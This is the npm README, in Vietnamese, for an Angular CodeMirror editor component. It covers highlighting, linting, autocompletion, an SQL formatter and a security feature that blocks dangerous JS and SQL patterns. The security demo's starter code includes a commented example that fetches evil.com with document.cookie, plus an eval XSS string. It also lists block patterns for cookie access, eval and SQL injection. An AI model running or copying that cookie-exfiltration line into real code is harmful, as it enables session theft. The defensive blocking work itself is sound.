@libs-ui/components-preview-text-data
v0.2.357-35
Published
> Code editor/viewer mạnh mẽ dựa trên CodeMirror 6, hỗ trợ highlight cú pháp đa ngôn ngữ, linter thời gian thực, IntelliSense và bảo mật pattern.
Readme
@libs-ui/components-preview-text-data
Code editor/viewer mạnh mẽ dựa trên CodeMirror 6, hỗ trợ highlight cú pháp đa ngôn ngữ, linter thời gian thực, IntelliSense và bảo mật pattern.
Giới thiệu
LibsUiComponentsPreviewTextDataComponent cung cấp một trình soạn thảo/xem mã nguồn tích hợp sẵn vào Angular với kiến trúc Signals và OnPush. Component hỗ trợ highlight cú pháp cho 14 ngôn ngữ lập trình, kiểm tra lỗi cú pháp thời gian thực (linter) cho JavaScript, JSON, SQL và Python, gợi ý code thông minh (IntelliSense với dot-notation), cùng cơ chế bảo mật chặn pattern nguy hiểm cả khi gõ lẫn paste.
Tính năng
- Highlight cú pháp cho 14 ngôn ngữ: JavaScript/TypeScript, HTML, CSS/SCSS, JSON, SQL, XML, YAML, Python, Java, C/C++, PHP, Go, Markdown, Plain Text
- Linter tích hợp phát hiện lỗi cú pháp thời gian thực cho JavaScript, JSON, SQL, Python
- IntelliSense với dot-notation: định nghĩa object/biến sẵn, gợi ý properties/methods khi gõ dấu chấm (giống IDE)
- Nút "Định dạng" trên thanh công cụ: bấm một lần là nội dung SQL/JSON tự căn chỉnh — người dùng không phải gõ dấu cách và xuống dòng bằng tay. Nút tự ẩn khi ô chỉ-đọc hoặc ngôn ngữ chưa có bộ định dạng
- Style đã đủ dùng, nơi dùng KHÔNG phải viết thêm CSS: font có glyph tiếng Việt cho cả ô nhập lẫn popup gợi ý, popup tách tên trường khỏi mô tả, dòng đang gõ / con trỏ / ngoặc khớp cặp / vùng bôi đen đều theo màu của thư viện
- Security policy: chặn pattern nguy hiểm (string hoặc RegExp) ngay khi gõ, chặn paste chứa vi phạm, emit danh sách vi phạm qua
(outViolations) - Lazy load ngôn ngữ: chỉ tải extension khi cần, tối ưu bundle size
- Non-destructive update: đổi ngôn ngữ, wrap, completions không làm mất nội dung hay vị trí con trỏ
- Chế độ editable/readonly linh hoạt
- Thanh công cụ tích hợp: copy nội dung, toggle line wrap, dropdown chọn ngôn ngữ
- Two-way binding cho
langSelectedquamodel() - Standalone component, ChangeDetectionStrategy.OnPush, Angular Signals
Khi nào sử dụng
- Hiển thị cấu hình JSON, YAML hoặc đoạn mã mẫu trong tài liệu hoặc dashboard
- Cho phép người dùng biên tập câu lệnh SQL hoặc mã JavaScript trong các công cụ quản trị
- Xây dựng low-code/no-code editor cần kiểm soát bảo mật (chặn eval, fetch, localStorage...)
- Kiểm tra và xem log hoặc raw data từ API với highlight cú pháp rõ ràng
- Tích hợp IntelliSense cho đối tượng domain cụ thể (biến, API object, schema) trong form nhập mã
Cài đặt
npm install @libs-ui/components-preview-text-dataImport
import { LibsUiComponentsPreviewTextDataComponent } from '@libs-ui/components-preview-text-data';
@Component({
standalone: true,
imports: [LibsUiComponentsPreviewTextDataComponent],
// ...
})
export class MyComponent {}Import thêm types, constants khi cần:
import {
LibsUiComponentsPreviewTextDataComponent,
PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT,
IPreviewTextDataChange,
IPreviewTextDataCompletionItem,
IPreviewTextDataViolation,
ILanguageOptions,
DEFAULT_SECURITY_PATTERNS,
} from '@libs-ui/components-preview-text-data';Ví dụ sử dụng
1. Chế độ Xem (Read-only)
Chỉ hiển thị code dưới dạng highlight, ẩn thanh công cụ.
<libs_ui-components-preview_text_data
[content]="readonlyCode"
[langSelected]="'javascript'"
[hiddenAction]="true"
background="#fcfcfc" />readonly readonlyCode = `/* Standalone Code Preview */
function checkStandards(component) {
return component.hasReadme && component.hasDemo ? 'PASSED' : 'PENDING';
}`;2. Chế độ Chỉnh sửa & Linter
Bật soạn thảo, cho phép đổi ngôn ngữ và kiểm tra lỗi cú pháp thời gian thực.
<div class="flex flex-col gap-4">
<libs_ui-components-preview_text_data
[content]="jsonContent"
[(langSelected)]="editableLang"
[editable]="true"
[langsAccept]="['json', 'javascript', 'sql']"
(syntaxErrors)="onSyntaxErrors($event)" />
@if (linterErrors().length) {
<div class="p-3 bg-red-50 text-red-600 font-mono text-xs">
Error: {{ linterErrors()[0].message }}
</div>
}
</div>import { ChangeDetectionStrategy, Component, signal } from '@angular/core';
import { PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
import { Diagnostic } from '@codemirror/lint';
// [content]="jsonContent" — nội dung JSON mẫu ban đầu
readonly jsonContent = `{
"projectName": "Libs UI",
"version": "1.0.0",
"features": ["Signals", "CodeMirror", "Standalone"],
"isBmadCompliant": true
}`;
// [(langSelected)]="editableLang" — ngôn ngữ đang chọn (two-way binding)
readonly editableLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('json');
// linterErrors() — hiển thị lỗi cú pháp đầu tiên bên dưới editor
readonly linterErrors = signal<Diagnostic[]>([]);
// Handler nhận lỗi cú pháp — dùng cho (syntaxErrors)="onSyntaxErrors($event)"
onSyntaxErrors(errors: Diagnostic[]): void {
this.linterErrors.set(errors);
}3. Nhập code JS/Python (trống, tối thiểu 10 dòng)
Màn nhập liệu code editable, chỉ chọn JavaScript hoặc Python, mặc định chưa có dữ liệu, editor cao tối thiểu ~10 dòng.
<libs_ui-components-preview_text_data
[content]="''"
[(langSelected)]="codeInputLang"
[editable]="true"
[langsAccept]="['javascript', 'python']"
[minLines]="10"
[maxLines]="20" />import { signal } from '@angular/core';
import { PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
// Mặc định JavaScript, content rỗng, chỉ cho JS/Python.
// minLines/maxLines do CHÍNH component xử lý (bù dòng trống / cap chiều cao + scroll).
readonly codeInputLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');4. Editor tự fit theo container (min/max-height)
Bọc editor trong 1 div đặt min-height/max-height, truyền element đó qua [containerElement]. Editor tự tính số dòng và snap chiều cao theo container. Không dùng chung với minLines/maxLines (sẽ throw lỗi).
<!-- #boxRef là template ref tới div container -->
<div #boxRef class="min-h-[120px] max-h-[300px]">
<libs_ui-components-preview_text_data
[content]="''"
[(langSelected)]="codeContainerLang"
[editable]="true"
[langsAccept]="['javascript', 'python']"
[containerElement]="boxRef" />
</div>import { signal } from '@angular/core';
import { PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
// Bọc editor trong div có min/max-height, truyền chính element đó vào.
// Editor tự tính & snap số dòng theo container (CẤM dùng cùng minLines/maxLines).
readonly codeContainerLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');5. JavaScript — IntelliSense với Object có sẵn
Gõ tên object (user, config, db) rồi nhấn "." để xem gợi ý properties/methods như IDE.
<libs_ui-components-preview_text_data
[content]="jsStarterCode"
[(langSelected)]="jsAutocompleteLang"
[editable]="true"
[completions]="jsCompletions"
background="#fafbfc" />import { signal } from '@angular/core';
import { IPreviewTextDataCompletionItem, PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
// [content]="jsStarterCode" — code mẫu gợi ý gõ "user.", "config.", "db." để xem autocomplete
readonly jsStarterCode = `function printUserInfo() {
const userName = user.
const baseUrl = config.
return db.
}`;
// [(langSelected)]="jsAutocompleteLang"
readonly jsAutocompleteLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
// [completions]="jsCompletions" — danh sách object/property gợi ý IntelliSense
readonly jsCompletions: IPreviewTextDataCompletionItem[] = [
{
label: 'user',
type: 'variable',
detail: 'object',
properties: [
{ label: 'id', type: 'property', detail: 'number' },
{ label: 'name', type: 'property', detail: 'string' },
{ label: 'email', type: 'property', detail: 'string' },
{ label: 'role', type: 'property', detail: "'admin'|'user'" },
{ label: 'logout', type: 'method', detail: '() => Promise<void>' },
],
},
{
label: 'config',
type: 'variable',
detail: 'object',
properties: [
{ label: 'apiUrl', type: 'property', detail: 'string' },
{ label: 'timeout', type: 'property', detail: 'number' },
{ label: 'debug', type: 'property', detail: 'boolean' },
],
},
// ... object "db" tương tự (host, port, query(), connect(), transaction()...)
];6. JavaScript — IntelliSense lồng nhiều cấp (nested)
Gõ path nhiều cấp như app.user.profile.address. rồi nhấn "." — gợi ý đi sâu vào từng cấp object lồng nhau.
<libs_ui-components-preview_text_data
[content]="jsDeepStarterCode"
[(langSelected)]="jsDeepAutocompleteLang"
[editable]="true"
[completions]="jsDeepCompletions"
background="#fafbfc" />import { signal } from '@angular/core';
import { IPreviewTextDataCompletionItem, PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
// [content]="jsDeepStarterCode" — gõ path nhiều cấp (vd: app.user.profile.address.) rồi nhấn "."
readonly jsDeepStarterCode = `function buildUserCard() {
const ctx = app.
const avatar = app.user.profile.
const lat = app.user.profile.address.geo.
return app.services.auth.
}`;
// [(langSelected)]="jsDeepAutocompleteLang"
readonly jsDeepAutocompleteLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
// [completions]="jsDeepCompletions" — Object lồng nhiều cấp, mỗi cấp lồng có 'properties' riêng.
// Gõ "app." → user, config, services
// Gõ "app.user.profile.address." → city, country, geo
readonly jsDeepCompletions: IPreviewTextDataCompletionItem[] = [
{
label: 'app',
type: 'variable',
detail: 'AppContext',
properties: [
{
label: 'user',
type: 'property',
detail: 'User',
properties: [
{ label: 'id', type: 'property', detail: 'number' },
{ label: 'name', type: 'property', detail: 'string' },
{
label: 'profile',
type: 'property',
detail: 'Profile',
properties: [
{ label: 'avatar', type: 'property', detail: 'string' },
{ label: 'bio', type: 'property', detail: 'string' },
{
label: 'address',
type: 'property',
detail: 'Address',
properties: [
{ label: 'city', type: 'property', detail: 'string' },
{ label: 'country', type: 'property', detail: 'string' },
{
label: 'geo',
type: 'property',
detail: 'GeoPoint',
properties: [
{ label: 'lat', type: 'property', detail: 'number' },
{ label: 'lng', type: 'property', detail: 'number' },
],
},
],
},
],
},
],
},
// ...config, services tương tự (mỗi cấp có 'properties' riêng)
],
},
];7. Python — IntelliSense với Class/Object
Gõ tên object (config, request, logger) rồi nhấn "." để xem gợi ý như IDE Python.
<libs_ui-components-preview_text_data
[content]="pyStarterCode"
[(langSelected)]="pyAutocompleteLang"
[editable]="true"
[completions]="pyCompletions"
background="#fafbfc" />import { signal } from '@angular/core';
import { IPreviewTextDataCompletionItem, PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
// [content]="pyStarterCode" — code mẫu gợi ý gõ "config.", "request.", "logger."
readonly pyStarterCode = `def handle_request():
server = config.
data = request.
logger.
return server`;
// [(langSelected)]="pyAutocompleteLang"
readonly pyAutocompleteLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('python');
// [completions]="pyCompletions"
readonly pyCompletions: IPreviewTextDataCompletionItem[] = [
{
label: 'config',
type: 'class',
detail: 'class Config',
properties: [
{ label: 'host', type: 'property', detail: 'str' },
{ label: 'port', type: 'property', detail: 'int' },
{ label: 'debug', type: 'property', detail: 'bool' },
{ label: 'to_dict', type: 'method', detail: '() -> dict' },
],
},
// ... object "request" tương tự (method, url, headers, json()...)
{
label: 'logger',
type: 'variable',
detail: 'Logger',
properties: [
{ label: 'info', type: 'method', detail: '(msg: str) -> None' },
{ label: 'error', type: 'method', detail: '(msg: str) -> None' },
{ label: 'warning', type: 'method', detail: '(msg: str) -> None' },
],
},
];8. Security Policy — Forbidden Patterns
Chặn người dùng gõ hoặc paste mã vi phạm bảo mật ([forbiddenPatterns]). Highlight đỏ ngay tại chỗ vi phạm, chặn paste, phát ra (outViolations).
<libs_ui-components-preview_text_data
[content]="securityStarterCode"
[(langSelected)]="securityLang"
[editable]="true"
[forbiddenPatterns]="defaultSecurityPatterns"
(outViolations)="onSecurityViolations($event)"
background="#fafbfc" />import { signal } from '@angular/core';
import { DEFAULT_SECURITY_PATTERNS, IPreviewTextDataViolation, PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT } from '@libs-ui/components-preview-text-data';
// [content]="securityStarterCode" — code mẫu, có hàm an toàn và gợi ý pattern bị chặn (comment)
readonly securityStarterCode = `function calculateTotal(items) {
return items.reduce((sum, item) => sum + item.price * item.qty, 0);
}
// Thử GÕ hoặc PASTE — sẽ bị highlight đỏ / chặn paste:
// eval("alert('xss')")
// fetch('https://evil.com/steal?data=' + document.cookie)`;
// [(langSelected)]="securityLang"
readonly securityLang = signal<PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT>('javascript');
// [forbiddenPatterns]="defaultSecurityPatterns" — bộ pattern cấm mặc định của thư viện
readonly defaultSecurityPatterns = DEFAULT_SECURITY_PATTERNS;
// (outViolations) — danh sách vi phạm phát ra mỗi khi nội dung thay đổi
readonly securityViolations = signal<IPreviewTextDataViolation[]>([]);
onSecurityViolations(violations: IPreviewTextDataViolation[]): void {
this.securityViolations.set(violations);
}⚠️ Chỉ cho phép một ngôn ngữ cố định: Khi
[langsAccept]có đúng 1 phần tử trùng vớilangSelected→ dropdown chọn ngôn ngữ tự động bị ẩn (computedacceptChangeLang = false).
@Input()
| Input | Type | Default | Mô tả | Ví dụ |
|---|---|---|---|---|
| [content] | string | '' | Nội dung code cần hiển thị hoặc chỉnh sửa | [content]="myCode" |
| [(langSelected)] | PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT | Bắt buộc | Ngôn ngữ highlight hiện tại. Hỗ trợ two-way binding qua model() | [(langSelected)]="currentLang" |
| [editable] | boolean | false | Cho phép người dùng chỉnh sửa nội dung trong editor | [editable]="true" |
| [hiddenAction] | boolean | false | Ẩn toàn bộ thanh công cụ (Copy, Wrap, dropdown ngôn ngữ) | [hiddenAction]="true" |
| [langsAccept] | PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT[] | undefined | Danh sách ngôn ngữ được phép chọn trong dropdown. Nếu chỉ có 1 phần tử trùng langSelected → dropdown bị ẩn | [langsAccept]="['json', 'sql']" |
| [langsChangeLabel] | ILanguageOptions | undefined | Tùy chỉnh nhãn hiển thị của một ngôn ngữ trong dropdown | [langsChangeLabel]="{ id: 'json', label: 'Cấu hình JSON' }" |
| [completions] | IPreviewTextDataCompletionItem[] | [] | Danh sách object/biến gợi ý khi gõ — hỗ trợ dot-notation cho properties lồng nhau (IntelliSense) | [completions]="myCompletions" |
| [forbiddenPatterns] | T_ForbiddenPattern[] | [] | Danh sách pattern bị cấm (string hoặc RegExp). Highlight đỏ khi gõ, chặn paste chứa vi phạm, phát ra (outViolations) | [forbiddenPatterns]="DEFAULT_SECURITY_PATTERNS" |
| [lintIgnorePatterns] | string[] | ['Cannot use import statement...', 'Unexpected token export', 'import ', '@angular/core'] | Danh sách chuỗi lỗi linter JS sẽ bị bỏ qua (ignore) trong quá trình kiểm tra | [lintIgnorePatterns]="['import ']" |
| [background] | string | '#f8f9fa' | Màu nền của vùng soạn thảo (CSS color value) | background="#ffffff" |
| [minLines] | number | undefined | Số dòng tối thiểu. Nếu content ít dòng hơn sẽ tự bù dòng trống (xử lý 1 lần khi khởi tạo editor); đủ/nhiều hơn thì giữ nguyên, không cắt bớt | [minLines]="10" |
| [maxLines] | number | undefined | Số dòng tối đa hiển thị. Vượt quá → editor giới hạn chiều cao và xuất hiện vùng cuộn (đo line-height thật khi khởi tạo) | [maxLines]="20" |
| [zIndexPopover] | number | undefined | z-index cho popover dropdown chọn ngôn ngữ (dùng khi editor nằm trong modal/overlay có z-index cao) | [zIndexPopover]="1500" |
| [containerElement] | HTMLElement | undefined | Element bọc ngoài (đã set min-height/max-height CSS). Editor snap số dòng theo container: min-height → bù dòng trống cho đủ (hiện line-number 1..N), max-height → giới hạn + scroll. CẤM dùng cùng [minLines]/[maxLines] (throw lỗi) | [containerElement]="boxRef" |
| [hiddenSearchLang] | boolean | false | Ẩn ô tìm kiếm trong dropdown chọn ngôn ngữ (danh sách ngôn ngữ ngắn thường không cần search) | [hiddenSearchLang]="true" |
| [showFormatAction] | boolean | true | Hiện nút "Định dạng" trên thanh công cụ. Nút chỉ hiện khi ô sửa được và ngôn ngữ đang chọn có bộ định dạng (sql, json) — ô chỉ-đọc mà mọc ra nút không làm gì thì người dùng bấm rồi tưởng hỏng | [showFormatAction]="false" |
| [autoFormatOnLoad] | boolean | false | Tự căn chỉnh ngay khi nạp nội dung. Mặc định tắt: nội dung người dùng đã lưu có thể đang căn theo ý riêng của họ, tự sửa lúc mở ra là ghi đè công của họ. Bật khi nguồn nội dung là máy sinh | [autoFormatOnLoad]="true" |
@Output()
| Output | Type | Mô tả | Handler TS | Binding HTML |
|---|---|---|---|---|
| (outChange) | IPreviewTextDataChange | Phát ra khi nội dung thay đổi, người dùng đổi ngôn ngữ hoặc toggle line wrap | handlerChange(event: IPreviewTextDataChange): void { event.stopPropagation?.(); this.code.set(event.content); } | (outChange)="handlerChange($event)" |
| (syntaxErrors) | Diagnostic[] | Phát ra mảng lỗi cú pháp mỗi khi linter chạy. Mảng rỗng khi không có lỗi | handlerSyntaxErrors(errors: Diagnostic[]): void { this.errors.set(errors); } | (syntaxErrors)="handlerSyntaxErrors($event)" |
| (outViolations) | IPreviewTextDataViolation[] | Phát ra danh sách vi phạm (vị trí, dòng, pattern, chuỗi bị match) mỗi khi nội dung thay đổi khi có forbiddenPatterns. Mảng rỗng khi không có vi phạm | handlerViolations(violations: IPreviewTextDataViolation[]): void { this.violations.set(violations); } | (outViolations)="handlerViolations($event)" |
Types & Interfaces
import {
PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT,
IPreviewTextDataChange,
IPreviewTextDataCompletionItem,
IPreviewTextDataViolation,
ILanguageOptions,
T_ForbiddenPattern,
DEFAULT_SECURITY_PATTERNS,
} from '@libs-ui/components-preview-text-data';/** Tất cả ngôn ngữ được hỗ trợ */
export type PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT =
| 'javascript'
| 'html'
| 'css'
| 'markdown'
| 'json'
| 'sql'
| 'xml'
| 'yaml'
| 'python'
| 'java'
| 'cpp'
| 'php'
| 'go'
| 'text';
/** Payload phát ra qua (outChange) */
export interface IPreviewTextDataChange {
content: string;
isWrap: boolean;
language: PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT;
/** Loại thay đổi: nội dung / ngôn ngữ / line wrap */
contextChange: 'content' | 'language' | 'isWrap';
}
/** Một item trong danh sách completions — hỗ trợ dot-notation qua properties[] */
export interface IPreviewTextDataCompletionItem {
label: string;
/** @default 'variable' */
type?: 'variable' | 'property' | 'function' | 'class' | 'method' | 'keyword' | 'text' | 'constant' | 'interface' | 'type' | 'enum' | 'field' | 'namespace' | 'module';
/** Gợi ý type ngắn hiển thị cạnh label, VD: 'string', '() => void' */
detail?: string;
/** Mô tả dài hiển thị trong tooltip */
info?: string;
/** Properties lồng nhau — được gợi ý sau dấu chấm (dot-notation) */
properties?: IPreviewTextDataCompletionItem[];
}
/** Vi phạm được phát hiện trong editor, phát ra qua (outViolations) */
export interface IPreviewTextDataViolation {
/** Vị trí bắt đầu (character offset) */
from: number;
/** Vị trí kết thúc (character offset) */
to: number;
/** Số dòng (1-indexed) */
line: number;
/** Tên/mô tả của pattern đã bị vi phạm */
pattern: string;
/** Đoạn text thực tế bị match */
matched: string;
}
/** Tùy chỉnh label hiển thị của một ngôn ngữ trong dropdown */
export interface ILanguageOptions {
id: PREVIEW_TEXT_DATA_LANGUAGE_SUPPORT;
label: string;
}
/** Pattern cấm: string literal (case-insensitive) hoặc RegExp tùy chỉnh */
export type T_ForbiddenPattern = string | RegExp;Constants
DEFAULT_SECURITY_PATTERNS
Bộ pattern bảo mật mặc định cho low-code platform — chặn các API nguy hiểm:
import { DEFAULT_SECURITY_PATTERNS } from '@libs-ui/components-preview-text-data';
// Sử dụng trực tiếp
[forbiddenPatterns]="DEFAULT_SECURITY_PATTERNS"Các pattern được chặn:
| Pattern | Lý do |
|---|---|
| /eval\s*\(/i | Thực thi code động |
| /new\s+Function\s*\(/i | Tạo hàm từ string |
| /document\.cookie/i | Đọc cookie nhạy cảm |
| /localStorage/i | Truy cập local storage |
| /sessionStorage/i | Truy cập session storage |
| /fetch\s*\(/i | Gọi HTTP request |
| /new\s+XMLHttpRequest/i | Gọi HTTP request cũ |
| /require\s*\(/i | Load module Node.js |
| /import\s*\(/i | Dynamic import |
| /process\.env/i | Đọc biến môi trường |
| /<script/i | Chèn thẻ script |
| /document\.write\s*\(/i | Ghi trực tiếp vào DOM |
| /window\.location\s*=/i | Chuyển hướng trang |
DEFAULT_SQL_FORBIDDEN_PATTERNS
Bộ pattern chặn mặc định cho ô soạn SQL — dùng cho màn chỉ đọc (BI, dashboard, báo cáo).
import { DEFAULT_SQL_FORBIDDEN_PATTERNS } from '@libs-ui/components-preview-text-data';
[forbiddenPatterns]="DEFAULT_SQL_FORBIDDEN_PATTERNS"🔴 DEFAULT_SECURITY_PATTERNS ở trên chỉ chặn API JavaScript (eval, fetch, localStorage…) nên không dùng được cho SQL.
| Pattern | Lý do |
|---|---|
| /\b(drop\|truncate\|alter\|create)\b/i | Câu lệnh đổi lược đồ |
| /\b(delete\|update\|insert)\b/i | Câu lệnh ghi dữ liệu |
| /\b(grant\|revoke)\b/i | Câu lệnh đổi quyền |
| /\binto\s+outfile\b/i | Ghi kết quả ra tệp trên máy chủ CSDL |
| /\binformation_schema\b/i | Đọc siêu dữ liệu — lộ toàn bộ danh sách bảng/cột |
| /\bpg_[a-z_]+\b/i | Bảng/hàm hệ thống PostgreSQL |
| /;\s*\S/ | Dấu chấm phẩy còn nội dung phía sau ⇒ nối câu lệnh thứ hai |
Màn thật sự cần chạy câu lệnh ghi thì lọc bớt:
const choPhepGhi = DEFAULT_SQL_FORBIDDEN_PATTERNS.filter((p) => !String(p).includes('delete'));🔴 Đây là lớp thuận tiện cho người dùng — báo sớm khi gõ sai loại câu lệnh, KHÔNG phải lớp bảo mật. Backend bắt buộc tự kiểm lại.
Định dạng nội dung
Nút "Định dạng" nằm sẵn trên thanh công cụ, không cần nơi dùng dựng gì. Hiện hỗ trợ sql và json.
-- người dùng gõ
select a,b,count(*) as tong from bang_kh k left join bang_dm d on k.id=d.kh_id
where k.trang_thai='active' and d.ngay>=:page.tu_ngay group by a,b order by tong desc limit 50
-- sau khi bấm Định dạng
SELECT a,
b,
count(*) AS tong
FROM bang_kh k
LEFT JOIN bang_dm d
ON k.id = d.kh_id
WHERE k.trang_thai = 'active'
AND d.ngay >= :page.tu_ngay
GROUP BY a,
b
ORDER BY tong DESC
LIMIT 50Việc bộ định dạng SQL làm: mỗi mệnh đề một dòng · mỗi cột một dòng thụt vào · AND/OR/ON xuống dòng thụt thêm · câu con tăng một cấp thụt · từ khoá viết HOA · toán tử có đúng một dấu cách hai bên (c=1 → c = 1).
Việc nó không làm — cố ý, để không bao giờ làm sai câu lệnh:
- Không đụng chữ trong chuỗi, định danh trích dẫn hay chú thích —
'select from where'giữ nguyên - Không tách danh sách ngắn:
y IN (1, 2, 3),coalesce(a, 0),OVER (PARTITION BY y)giữ một dòng - Không đổi tên bảng / tên cột — chỉ từ khoá mới viết hoa
- Không nhận nhầm dấu âm thành phép trừ:
LIMIT -1,b = -1giữ nguyên - JSON hỏng cú pháp (đang gõ dở) → trả nguyên văn, không làm mất chữ
Nguyên tắc bất biến: chỉ đổi khoảng trắng và chữ hoa-thường của từ khoá. Có sqlChuanHoaDeSoSanh để kiểm — bỏ hết khoảng trắng rồi chuẩn hoá thì bản trước và sau định dạng phải trùng khít.
import { sqlFormat, formatTheoNgonNgu, sqlChuanHoaDeSoSanh } from '@libs-ui/components-preview-text-data';
const gonGang = formatTheoNgonNgu(noiDung, 'sql'); // hoặc sqlFormat(noiDung)
// định dạng không bao giờ đổi nghĩa:
sqlChuanHoaDeSoSanh(gonGang) === sqlChuanHoaDeSoSanh(noiDung); // trueNgôn ngữ được hỗ trợ
| ID | Nhãn hiển thị | Linter |
|---|---|---|
| text | Plain Text | Không |
| javascript | JavaScript/TypeScript | Có (JS syntax + trailing dot detection) |
| html | HTML | Không |
| css | CSS/SCSS/SASS | Không |
| markdown | Markdown | Không |
| json | JSON | Có (JSON.parse validation) |
| sql | SQL | Có (syntaxTree parse errors) |
| xml | XML | Không |
| yaml | YAML | Không |
| python | Python | Có (syntaxTree parse errors) |
| java | Java | Không |
| cpp | C/C++ | Không |
| php | PHP | Không |
| go | Go | Không |
Lưu ý quan trọng
⚠️ langSelected là bắt buộc: Input [(langSelected)] là model.required() — PHẢI truyền giá trị, không có default. Thiếu giá trị sẽ gây lỗi Angular runtime.
⚠️ Lazy load ngôn ngữ: Component lazy-load extension của từng ngôn ngữ khi cần. Lần đầu tiên chọn một ngôn ngữ mới có thể có độ trễ nhỏ (vài trăm ms) để tải thư viện từ bundle.
⚠️ Linter chỉ hoạt động khi editable: Linter phát hiện lỗi cú pháp ngay cả khi [editable]="false", nhưng người dùng chỉ nhập được khi [editable]="true". Output (syntaxErrors) và (outViolations) luôn phát ra dù ở chế độ nào.
⚠️ forbiddenPatterns chặn paste hoàn toàn: Khi [forbiddenPatterns] được cấu hình, mọi thao tác paste chứa pattern bị cấm sẽ bị hủy toàn bộ (không paste được phần nào). Người dùng cần paste từng phần hoặc nhập thủ công.
⚠️ Dropdown ngôn ngữ bị ẩn tự động: Khi [langsAccept] chứa đúng 1 ngôn ngữ trùng với langSelected hiện tại, dropdown chọn ngôn ngữ sẽ bị ẩn tự động (computed acceptChangeLang = false).
⚠️ Cleanup tự động: Component tự hủy EditorView instance và xóa cache ngôn ngữ khi bị destroy (qua DestroyRef). Không cần thao tác cleanup thủ công từ phía consumer.
Unit Tests
# Chạy test cho lib
npx nx test components-preview-text-data
# Chạy test một file cụ thể
npx nx test components-preview-text-data --testFile=libs-ui/components/preview-text-data/src/preview-text-data.component.spec.ts
# Coverage
npx nx test components-preview-text-data --coverage